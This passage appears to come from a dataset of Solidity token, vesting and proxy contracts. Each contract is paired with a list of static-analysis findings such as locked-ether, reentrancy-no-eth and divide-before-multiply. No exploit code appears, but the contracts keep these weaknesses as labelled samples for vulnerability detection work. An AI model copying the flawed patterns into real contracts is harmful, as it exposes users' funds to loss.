// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
/**
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20 token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20 token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20 token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20 token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration).div(3600).mul(3600);
}
}
/**
* Don't accept ETH
*/
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) reentrancy-no-eth with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(this));
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(this));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint(){require(!mintingFinished); _;}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(this), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Reward(address indexed to, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.01 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / totalSupply) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum += amount;
}
if(sum > 0) {
_to.transfer(sum);
emit Reward(_to, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
_reward(msg.sender);
for(uint i = 0; i < _to.length; i++) {
_reward(_to[i]);
}
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
contract Token is CappedToken, BurnableToken, RewardToken {
function Token() CappedToken(10 * 1 ether) StandardToken("scammmttq.io", "scammmtqt.io", 18) public {
}
}
contract TestContract is Ownable {
using SafeMath for uint;
Token public token;
mapping(address => uint256) public purchaseBalances; // Массив держателей токенов
event GetBonus(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
address private gerra = 0x9e6d261B91Cd32FEFb78b03b3f8723D2fEB9cE09;
function TestContract() public {
token = new Token();
emit GetBonus(gerra, 1, 0);
token.mint(gerra, 1);
}
function() payable public { }
} | These are the vulnerabilities found
1) locked-ether with Medium impact
2) unused-return with Medium impact
3) controlled-array-length with High impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Bitcoin Trade' token contract
//
// Deployed to : 0x2d57365a7ab22425f09D49bB0baFB0426EB8dDF9
// Symbol : BTCT
// Name : Bitcoin Trade
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BitcoinTrade is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BitcoinTrade() public {
symbol = "BTCT";
name = "Bitcoin Trade ";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x2d57365a7ab22425f09D49bB0baFB0426EB8dDF9] = _totalSupply;
Transfer(address(0), 0x2d57365a7ab22425f09D49bB0baFB0426EB8dDF9, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Austriachain' token contract
//
// Deployed to : 0xa015fE2a1947B23AD454E699F8CbbDa419671F5e
// Symbol : ACA
// Name : Austriachain
// Total supply: 4000000
// Decimals : 3
//
//
//Developer: Ing. Ivanov
// (c) Serapong Lake Pte Ltd, https://austriachainone.ga/
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Austriachain is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Austriachain() public {
symbol = "ACA";
name = "Austriachain";
decimals = 3;
_totalSupply = 4000000;
balances[0xa015fE2a1947B23AD454E699F8CbbDa419671F5e] = _totalSupply;
Transfer(address(0), 0xa015fE2a1947B23AD454E699F8CbbDa419671F5e, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-24
*/
// proxy.sol - execute actions atomically through the proxy's identity
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.4.23;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
// DSProxy
// Allows code execution using a persistant identity This can be very
// useful to execute a sequence of atomic actions. Since the owner of
// the proxy can be changed, this allows for dynamic ownership models
// i.e. a multisig
contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache; // global cache for contracts
constructor(address _cacheAddr) public {
require(setCache(_cacheAddr));
}
function() public payable {
}
// use the proxy to execute calldata _data on contract _code
function execute(bytes _code, bytes _data)
public
payable
returns (address target, bytes32 response)
{
target = cache.read(_code);
if (target == 0x0) {
// deploy contract & store its address in cache
target = cache.write(_code);
}
response = execute(target, _data);
}
function execute(address _target, bytes _data)
public
auth
note
payable
returns (bytes32 response)
{
require(_target != 0x0);
// call contract in current context
assembly {
let succeeded := delegatecall(sub(gas, 5000), _target, add(_data, 0x20), mload(_data), 0, 32)
response := mload(0) // load delegatecall output
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(0, 0)
}
}
}
//set new cache
function setCache(address _cacheAddr)
public
auth
note
returns (bool)
{
require(_cacheAddr != 0x0); // invalid cache address
cache = DSProxyCache(_cacheAddr); // overwrite cache
return true;
}
}
// DSProxyFactory
// This factory deploys new proxy instances through build()
// Deployed proxy addresses are logged
contract DSProxyFactory {
event Created(address indexed sender, address indexed owner, address proxy, address cache);
mapping(address=>bool) public isProxy;
DSProxyCache public cache = new DSProxyCache();
// deploys a new proxy instance
// sets owner of proxy to caller
function build() public returns (DSProxy proxy) {
proxy = build(msg.sender);
}
// deploys a new proxy instance
// sets custom owner of proxy
function build(address owner) public returns (DSProxy proxy) {
proxy = new DSProxy(cache);
emit Created(msg.sender, owner, address(proxy), address(cache));
proxy.setOwner(owner);
isProxy[proxy] = true;
}
}
// DSProxyCache
// This global cache stores addresses of contracts previously deployed
// by a proxy. This saves gas from repeat deployment of the same
// contracts and eliminates blockchain bloat.
// By default, all proxies deployed from the same factory store
// contracts in the same cache. The cache a proxy instance uses can be
// changed. The cache uses the sha3 hash of a contract's bytecode to
// lookup the address
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
// throw if contract failed to deploy
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
// ProxyRegistry
// This Registry deploys new proxy instances through DSProxyFactory.build(address) and keeps a registry of owner => proxy
contract ProxyRegistry {
mapping(address => DSProxy) public proxies;
DSProxyFactory factory;
constructor(DSProxyFactory factory_) public {
factory = factory_;
}
// deploys a new proxy instance
// sets owner of proxy to caller
function build() public returns (DSProxy proxy) {
proxy = build(msg.sender);
}
// deploys a new proxy instance
// sets custom owner of proxy
function build(address owner) public returns (DSProxy proxy) {
require(proxies[owner] == DSProxy(0) || proxies[owner].owner() != owner); // Not allow new proxy if the user already has one and remains being the owner
proxy = factory.build(owner);
proxies[owner] = proxy;
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-03-24
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : TUC
// Name : TUCAN Token
// Total supply : 10000000000000000000000
// Decimals : 16
// Owner Account : 0x11d0A4C6f605b3D312B60522e1043e6f2fca1dDf
//
// Enjoy.
//
// (c) by Juan Cruz Martinez 2020. MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
